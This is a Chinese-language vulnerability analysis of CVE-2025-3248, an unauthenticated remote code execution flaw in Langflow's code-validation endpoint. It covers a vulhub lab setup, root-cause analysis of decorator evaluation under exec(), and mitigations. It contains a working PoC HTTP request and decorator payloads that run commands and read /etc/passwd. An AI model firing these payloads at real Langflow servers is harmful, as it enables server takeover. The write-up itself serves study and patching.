CVE-2025-3248

漏洞描述

Langflow 是一个基于 Python 的开源 低代码/可视化 平台,用拖拽式界面把 LLM 应用、Agent 工作流、RAG(检索增强生成)等“搭积木”式编排起来,并提供 Web/API 方式部署和调用。它常用于快速构建聊天机器人、知识库问答、自动化智能体流程、提示词工程实验等。

CVE-2025-3248 的核心问题是:Langflow 在 /api/v1/validate/code​ 这个用于“校验代码”的接口中,存在 未授权访问 且对用户输入的处理过程中触发了不安全的 Python exec()​(代码执行)路径,导致攻击者无需登录即可构造请求实现 远程代码执行(RCE) ,进而完全接管服务器。该问题影响 1.3.0 之前版本,官方在 Langflow 1.3.0 中修复(包含为该端点补充认证/限制与更安全的执行策略等)。

字段 内容
漏洞类型 远程代码执行
漏洞编号 CVE-2025-3248
影响范围 Langflow 1.3.0 之前版本
漏洞等级 严重(Critical),CVSS v3.1:9.8
修复状态 已修复:升级至 Langflow 1.3.0 及以上;补丁方向包括给端点增加认证(如 JWT)及更安全的代码处理/校验机制

漏洞复现

环境搭建

使用docker搭建,vluhub中有做好的靶场

1
2
3
git clone https://github.com/vulhub/vulhub.git
cd vulhub/langflow/CVE-2025-3248
docker compose up -d

拉取源代码

1
wget https://github.com/langflow-ai/langflow/archive/refs/tags/1.2.0.zip

POC验证

1
2
3
4
5
6
7
8
9
10
11
POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 105
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Origin: http://127.0.0.1:7860
Referer: http://127.0.0.1:7860/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"}

image

漏洞分析

src/backend/base/langflow/api/v1/validate.py

1
2
3
4
5
6
7
8
9
10
11
@router.post("/code", status_code=200)
async def post_validate_code(code: Code) -> CodeValidationResponse:
try:
errors = validate_code(code.code)
return CodeValidationResponse(
imports=errors.get("imports", {}),
function=errors.get("function", {}),
)
except Exception as e:
logger.opt(exception=True).debug("Error validating code")
raise HTTPException(status_code=500, detail=str(e)) from e

/api/v1/validate/code​端点没做鉴权,该接口直接把请求体里的 code.code 传给 utils/validate.py:validate_code

utils/validate.py:validate_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def validate_code(code):
# Initialize the errors dictionary
errors = {"imports": {"errors": []}, "function": {"errors": []}}

# Parse the code string into an abstract syntax tree (AST)
try:
tree = ast.parse(code)
except Exception as e: # noqa: BLE001
if hasattr(logger, "opt"):
logger.opt(exception=True).debug("Error parsing code")
else:
logger.debug("Error parsing code")
errors["function"]["errors"].append(str(e))
return errors

# Add a dummy type_ignores field to the AST
add_type_ignores()
tree.type_ignores = []

# Evaluate the import statements
for node in tree.body:
if isinstance(node, ast.Import):
for alias in node.names:
try:
importlib.import_module(alias.name)
except ModuleNotFoundError as e:
errors["imports"]["errors"].append(str(e))

# Evaluate the function definition
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj)
except Exception as e: # noqa: BLE001
logger.opt(exception=True).debug("Error executing function code")
errors["function"]["errors"].append(str(e))

# Return the errors dictionary
return errors

该函数将code​传给了ast.parse函数,并提取ast.Import和ast.FunctionDef内容,也就是解析提交内容中的import和函数定义。

流程分三步:

  1. ast.parse(code) :把用户上传的 Python 字符串解析成 AST(抽象语法树)。
  2. 遍历 tree.body 中的 ast.Import 节点, 实际调用 importlib.import_module() 。
  3. 遍历 tree.body 中的 ast.FunctionDef 节点, 把它单独编译成一个 Module 并 exec 。

虽然 validate_code 只对 FunctionDef 节点做 compile(…, “exec”) + exec() ,但在 Python 里:

模块执行时,为了“定义一个函数对象”,Python 必须先 对装饰器表达式 / 默认参数表达式 / 部分注解表达式求值 。

所以即使函数体( body )不运行, 某些表达式还是会在定义阶段被执行 。

我们用一个demo来说明这个问题

demo1.py

1
2
3
@print("Decorator")
def func():
print("func")

demo2.py

1
import demo1

运行demo2.py,发现先执行了装饰器的内容,在报错。也就是说在该阶段,代码被执行。

image

回到这个漏洞,如果我们把装饰器让ast.FunctionDef来加载,装饰器会被放入decorator_list,然后编译执行函数定义的时候,decorator_list里的装饰器也同样就会被执行。

payload如下:

1
2
3
@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')
def foo():
pass

从 AST 视角看

AST(抽象语法树,Abstract Syntax Tree)是Python代码在解析过程中生成的一种树形数据结构,表示代码的语法结构。它是Python编译过程的一个中间表示形式,将源代码分解为更易于分析和操作的层次结构。

1
2
3
4
5
6
7
8
9
10
import ast

code = """
@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')
def foo():
pass
"""

tree = ast.parse(code)
print(ast.dump(tree,indent=2))

得到tree

1
2
3
4
5
6
7
8
9
10
11
12
Module(
body=[
FunctionDef(
name='foo',
args=arguments(),
body=[
Pass()],
decorator_list=[
Call(
func=Name(id='exec', ctx=Load()),
args=[
Constant(value='raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')])])])

按 validate_code 的逻辑

image

第一个for循环,在tree.body 里只有一个 FunctionDef ,没有任何 ast.Import 节点。所以不会调用importlib.import_module(alias.name)

image

第二个for循环,if isinstance(node, ast.FunctionDef):满足,进入if分支。

compile​ 用于将字符串形式的 Python 源代码编译成代码对象(code object) ,本身不会执行代码。
编译后的代码对象可以交给 exec​ 或 eval 执行,常用于动态代码处理,但若来源不可信会带来严重安全风险。

code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")

把一个函数定义(包含装饰器)重新包装成一个“最小模块”,并编译成字节码,但并没有执行任何东西。

然后exec()执行字节码

raise Exception​把输出作为异常信息抛出。由于发生了 raise Exception(...) ​,exec(...) ​调用没有正常返回;装饰器表达式求值过程中抛出的异常会一直往外冒,最后冒到 exec(code_obj) 那一层。

异常被 validate_code 捕获并记录

image

str(e) ​的内容就是 subprocess.check_output(["cat", "/etc/passwd"]) 的输出

安全措施

升级到1.3.0

如果短期内不能升级到 1.3.0,临时措施:

阻断 /api/v1/validate/code 的公网访问

  • 通过防火墙或反向代理, 阻止外网访问 /api/v1/validate/code ,只允许内部受信网络访问

官方补丁

为/api/v1/validate/code端点添加了JWT认证

image

参考:

vulhub/langflow/CVE-2025-3248 at master · vulhub/vulhub

任何速度都不安全:在Langflow AI中滥用Python exec进行非认证RCE |Horizon3.ai